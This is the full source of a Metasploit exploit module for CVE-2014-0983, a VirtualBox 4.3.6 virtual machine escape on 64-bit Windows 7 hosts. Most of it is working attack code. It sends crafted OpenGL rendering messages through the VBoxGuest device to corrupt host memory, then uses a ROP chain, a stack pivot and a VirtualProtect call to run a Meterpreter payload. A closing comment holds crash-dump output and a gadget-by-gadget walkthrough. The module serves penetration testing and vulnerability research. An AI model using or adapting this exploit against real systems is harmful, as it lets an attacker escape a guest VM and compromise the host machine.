Oracle VM VirtualBox 4.3.6 – 3D Acceleration Virtual Machine Escape (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking DEVICE = '\\\\.\\VBoxGuest' INVALID_HANDLE_VALUE = 0xFFFFFFFF # VBOX HGCM protocol constants VBOXGUEST_IOCTL_HGCM_CONNECT = 2269248 VBOXGUEST_IOCTL_HGCM_DISCONNECT = 2269252 VBOXGUEST_IOCTL_HGCM_CALL = 2269256 CONNECT_MSG_SIZE = 140 DISCONNECT_MSG_SIZE = 8 SET_VERSION_MSG_SIZE = 40 SET_PID_MSG_SIZE = 28 CALL_EA_MSG_SIZE = 40 VERR_WRONG_ORDER = 0xffffffea SHCRGL_GUEST_FN_SET_PID = 12 SHCRGL_CPARMS_SET_PID = 1 SHCRGL_GUEST_FN_SET_VERSION = 6 SHCRGL_CPARMS_SET_VERSION = 2 SHCRGL_GUEST_FN_INJECT = 9 SHCRGL_CPARMS_INJECT = 2 CR_PROTOCOL_VERSION_MAJOR = 9 CR_PROTOCOL_VERSION_MINOR = 1 VMM_DEV_HGCM_PARM_TYPE_32_BIT = 1 VMM_DEV_HGCM_PARM_TYPE_64_BIT = 2 VMM_DEV_HGCM_PARM_TYPE_LIN_ADDR = 5 def initialize(info={}) super(update_info(info, { 'Name' => 'VirtualBox 3D Acceleration Virtual Machine Escape', 'Description' => %q{ This module exploits a vulnerability in the 3D Acceleration support for VirtualBox. The vulnerability exists in the remote rendering of OpenGL-based 3D graphics. By sending a sequence of specially crafted of rendering messages, a virtual machine can exploit an out of bounds array access to corrupt memory and escape to the host. This module has been tested successfully on Windows 7 SP1 (64 bits) as Host running Virtual Box 4.3.6. }, 'License' => MSF_LICENSE, 'Author' => [ 'Francisco Falcon', # Vulnerability Discovery and PoC 'Florian Ledoux', # Win 8 64 bits exploitation analysis 'juan vazquez' # MSF module ], 'Arch' => ARCH_X86_64, 'Platform' => 'win', 'SessionTypes' => ['meterpreter'], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'VirtualBox 4.3.6 / Windows 7 SP1 / 64 bits (ASLR/DEP bypass)', { :messages => :target_virtualbox_436_win7_64 } ] ], 'Payload' => { 'Space' => 7000, 'DisableNops' => true }, 'References' => [ ['CVE', '2014-0983'], ['BID', '66133'], ['URL', 'http://www.coresecurity.com/advisories/oracle-virtualbox-3d-acceleration-multiple-memory-corruption-vulnerabilities'], ['URL', 'http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=oracle_virtualbox_3d_acceleration'], ['URL', 'http://www.vupen.com/blog/20140725.Advanced_Exploitation_VirtualBox_VM_Escape.php'] ], 'DisclosureDate' => 'Mar 11 2014', 'DefaultTarget' => 0 })) end def open_device r = session.railgun.kernel32.CreateFileA(DEVICE, "GENERIC_READ | GENERIC_WRITE", 0, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0) handle = r['return'] if handle == INVALID_HANDLE_VALUE return nil end return handle end def send_ioctl(ioctl, msg) result = session.railgun.kernel32.DeviceIoControl(@handle, ioctl, msg, msg.length, msg.length, msg.length, 4, "") if result["GetLastError"] != 0 unless result["ErrorMessage"].blank? vprint_error("#{result["ErrorMessage"]}") end return nil end unless result["lpBytesReturned"] && result["lpBytesReturned"] == msg.length unless result["ErrorMessage"].blank? vprint_error("#{result["ErrorMessage"]}") end return nil end unless result["lpOutBuffer"] && result["lpOutBuffer"].unpack("V").first == 0 unless result["ErrorMessage"].blank? vprint_error("#{result["ErrorMessage"]}") end return nil end result end def connect msg = "\x00" * CONNECT_MSG_SIZE msg[4, 4] = [2].pack("V") msg[8, "VBoxSharedCrOpenGL".length] = "VBoxSharedCrOpenGL" result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CONNECT, msg) if result.nil? return result end client_id = result["lpOutBuffer"][136, 4].unpack("V").first client_id end def disconnect msg = "\x00" * DISCONNECT_MSG_SIZE msg[4, 4] = [@client_id].pack("V") result = send_ioctl(VBOXGUEST_IOCTL_HGCM_DISCONNECT, msg) result end def set_pid(pid) msg = "\x00" * SET_PID_MSG_SIZE msg[0, 4] = [VERR_WRONG_ORDER].pack("V") msg[4, 4] = [@client_id].pack("V") # u32ClientID msg[8, 4] = [SHCRGL_GUEST_FN_SET_PID].pack("V") msg[12, 4] = [SHCRGL_CPARMS_SET_PID].pack("V") msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_64_BIT].pack("V") msg[20, 4] = [pid].pack("V") result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg) result end def set_version msg = "\x00" * SET_VERSION_MSG_SIZE msg[0, 4] = [VERR_WRONG_ORDER].pack("V") msg[4, 4] = [@client_id].pack("V") # u32ClientID msg[8, 4] = [SHCRGL_GUEST_FN_SET_VERSION].pack("V") msg[12, 4] = [SHCRGL_CPARMS_SET_VERSION].pack("V") msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V") msg[20, 4] = [CR_PROTOCOL_VERSION_MAJOR].pack("V") msg[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V") msg[32, 4] = [CR_PROTOCOL_VERSION_MINOR].pack("V") result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg) result end def trigger(buff_addr, buff_length) msg = "\x00" * CALL_EA_MSG_SIZE msg[4, 4] = [@client_id].pack("V") # u32ClientID msg[8, 4] = [SHCRGL_GUEST_FN_INJECT].pack("V") msg[12, 4] = [SHCRGL_CPARMS_INJECT].pack("V") msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V") msg[20, 4] = [@client_id].pack("V") # u32ClientID msg[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_LIN_ADDR].pack("V") msg[32, 4] = [buff_length].pack("V") # size_of(buf) msg[36, 4] = [buff_addr].pack("V") # (buf) result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg) result end def stack_adjustment pivot = "\x65\x8b\x04\x25\x10\x00\x00\x00" # "mov eax,dword ptr gs:[10h]" # Get Stack Bottom from TEB pivot << "\x89\xc4" # mov esp, eax # Store stack bottom in esp pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # Plus a little offset... pivot end def target_virtualbox_436_win7_64(message_id) opcodes = [0xFF, 0xea, 0x02, 0xf7] opcodes_hdr = [ 0x77474c01, # type CR_MESSAGE_OPCODES 0x8899, # conn_id opcodes.length # numOpcodes ] if message_id == 2 # Message used to achieve Code execution # See at the end of the module for a better description of the ROP Chain, # or even better, read: http://www.vupen.com/blog/20140725.Advanced_Exploitation_VirtualBox_VM_Escape.php # All gadgets from VBoxREM.dll opcodes_data = [0x8, 0x30, 0x331].pack("V*") opcodes_data << [0x6a68599a].pack("Q<") # Gadget 2 # pop rdx # xor ecx,dword ptr [rax] # add cl,cl # movzx eax,al # ret opcodes_data << [112].pack("Q<") # RDX opcodes_data << [0x6a70a560].pack("Q<") # Gadget 3 # lea rax,[rsp+8] # ret opcodes_data << [0x6a692b1c].pack("Q<") # Gadget 4 # lea rax,[rdx+rax] # ret opcodes_data << [0x6a6931d6].pack("Q<") # Gadget 5 # add dword ptr [rax],eax # add cl,cl # ret opcodes_data << [0x6a68124e].pack("Q<") # Gadget 6 # pop r12 # ret opcodes_data << [0x6A70E822].pack("Q<") # R12 := ptr to .data in VBoxREM.dll (4th argument lpflOldProtect) opcodes_data << [0x6a70927d].pack("Q<") # Gadget 8 # mov r9,r12 # mov r8d,dword ptr [rsp+8Ch] # mov rdx,qword ptr [rsp+68h] # mov rdx,qword ptr [rsp+68h] # call rbp opcodes_data << Rex::Text.pattern_create(80) opcodes_data << [0].pack("Q<") # 1st arg (lpAddress) # chain will store stack address here opcodes_data << Rex::Text.pattern_create(104 - 80 - 8) opcodes_data << [0x2000].pack("Q<") # 2nd arg (dwSize) opcodes_data << Rex::Text.pattern_create(140 - 104 - 8) opcodes_data << [0x40].pack("V") # 3rd arg (flNewProtect) opcodes_data << Rex::Text.pattern_create(252 - 4 - 140 - 64) opcodes_data << [0x6A70BB20].pack("V") # ptr to jmp VirtualProtect instr. opcodes_data << "A" * 8 opcodes_data << [0x6a70a560].pack("Q<") # Gadget 9 opcodes_data << [0x6a6c9d3d].pack("Q<") # Gadget 10 opcodes_data << "\xe9\x5b\x02\x00\x00" # jmp $+608 opcodes_data << "A" * (624 - 24 - 5) opcodes_data << [0x6a682a2a].pack("Q<") # Gadget 1 # xchg eax, esp # ret # stack pivot opcodes_data << stack_adjustment opcodes_data << payload.encoded opcodes_data << Rex::Text.pattern_create(8196 - opcodes_data.length) else # Message used to corrupt head_spu # 0x2a9 => offset to head_spu in VBoxSharedCrOpenGL.dll .data # 8196 => On my tests, this data size allows to keep the memory # not reused until the second packet arrives. The second packet, # of course, must have 8196 bytes length too. So this memory is # reused and code execution can be accomplished. opcodes_data = [0x8, 0x30, 0x331, 0x2a9].pack("V*") opcodes_data << "B" * (8196 - opcodes_data.length) end msg = opcodes_hdr.pack("V*") + opcodes.pack("C*") + opcodes_data msg end def send_opcodes_msg(process, message_id) msg = self.send(target[:messages], message_id) mem = process.memory.allocate(msg.length + (msg.length % 1024)) process.memory.write(mem, msg) trigger(mem, msg.length) end def check handle = open_device if handle.nil? return Exploit::CheckCode::Safe end session.railgun.kernel32.CloseHandle(handle) Exploit::CheckCode::Detected end def exploit unless self.respond_to?(target[:messages]) print_error("Invalid target specified: no messages callback function defined") return end print_status("Opening device...") @handle = open_device if @handle.nil? fail_with(Failure::NoTarget, "#{DEVICE} device not found") else print_good("#{DEVICE} found, exploiting...") end print_status("Connecting to the service...") @client_id = connect if @client_id.nil? fail_with(Failure::Unknown, "Connect operation failed") end print_good("Client ID #{@client_id}") print_status("Calling SET_VERSION...") result = set_version if result.nil? fail_with(Failure::Unknown, "Failed to SET_VERSION") end this_pid = session.sys.process.getpid print_status("Calling SET_PID...") result = set_pid(this_pid) if result.nil? fail_with(Failure::Unknown, "Failed to SET_PID") end this_proc = session.sys.process.open print_status("Sending First 0xEA Opcode Message to control head_spu...") result = send_opcodes_msg(this_proc, 1) if result.nil? fail_with(Failure::Unknown, "Failed to control heap_spu...") end print_status("Sending Second 0xEA Opcode Message to execute payload...") @old_timeout = session.response_timeout session.response_timeout = 5 begin send_opcodes_msg(this_proc, 2) rescue Rex::TimeoutError vprint_status("Expected timeout in case of successful exploitation") end end def cleanup unless @old_timeout.nil? session.response_timeout = @old_timeout end if session_created? # Unless we add CoE there is nothing to do return end unless @client_id.nil? print_status("Disconnecting from the service...") disconnect end unless @handle.nil? print_status("Closing the device...") session.railgun.kernel32.CloseHandle(@handle) end end end =begin * VirtualBox 4.3.6 / Windows 7 SP1 64 bits Crash after second message: 0:013> dd rax 00000000`0e99bd44 41306141 61413161 33614132 41346141 00000000`0e99bd54 61413561 37614136 41386141 62413961 00000000`0e99bd64 31624130 41326241 62413362 35624134 00000000`0e99bd74 41366241 62413762 39624138 41306341 00000000`0e99bd84 63413163 33634132 41346341 63413563 00000000`0e99bd94 37634136 41386341 64413963 31644130 00000000`0e99bda4 41326441 64413364 35644134 41366441 00000000`0e99bdb4 64413764 39644138 41306541 65413165 0:013> r rax=000000000e99bd44 rbx=0000000000000001 rcx=000007fef131e8ba rdx=000000006a72fb62 rsi=000000000e5531f0 rdi=0000000000000000 rip=000007fef12797f8 rsp=0000000004b5f620 rbp=0000000041424344 << already controlled... r8=0000000000000001 r9=00000000000005c0 r10=0000000000000000 r11=0000000000000246 r12=0000000000000000 r13=00000000ffffffff r14=000007fef1f90000 r15=0000000002f6e280 iopl=0 nv up ei pl nz na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 VBoxSharedCrOpenGL!crServerAddNewClient+0x208: 000007fe`f12797f8 ff9070030000 call qword ptr [rax+370h] ds:00000000`0e99c0b4=7641397541387541 Gadget 1: Stack Pivot # 0x6a682a2a xchg eax,esp 94 ret c3 Gadget 2: Control RDX value # 0x6a68599a pop rdx 5a xor ecx,dword ptr [rax] 33 08 add cl,cl 00 c9 movzx eax,al 0f b6 c0 ret c3 Gadget 3: Store ptr to RSP in RAX # 0x6a70a560 lea rax,[rsp+8] 48 8d 44 24 08 ret c3 Gadget 4: Store ptr to RSP + RDX offset (controlled) in RAX # 0x6a692b1c lea rax,[rdx+rax] 48 8d 04 02 ret c3 Gadget 5: Write Stack Address (EAX) to the stack # 0x6a6931d6 add dword ptr [rax],eax 01 00 add cl,cl 00 c9 ret c3 Gadget 6: Control R12 # 0x6a68124e pop r12 ret Gadget 7: Recover VirtualProtect arguments from the stack and call it (ebp) # 0x6a70927d mov r9,r12 4d 89 e1 mov r8d,dword ptr [rsp+8Ch] 44 8b 84 24 8c 00 00 00 mov rdx,qword ptr [rsp+68h] 48 8b 54 24 68 mov rcx,qword ptr [rsp+50h] 48 8b 4c 24 50 call rbp ff d5 Gadget 8: After VirtualProtect, get pointer to the shellcode in the # 0x6a70a560 lea rax, [rsp+8] 48 8d 44 24 08 ret c3 Gadget 9: Push the pointer and provide control to shellcode # 0x6a6c9d3d push rax 50 adc cl,ch 10 e9 ret c3 =end |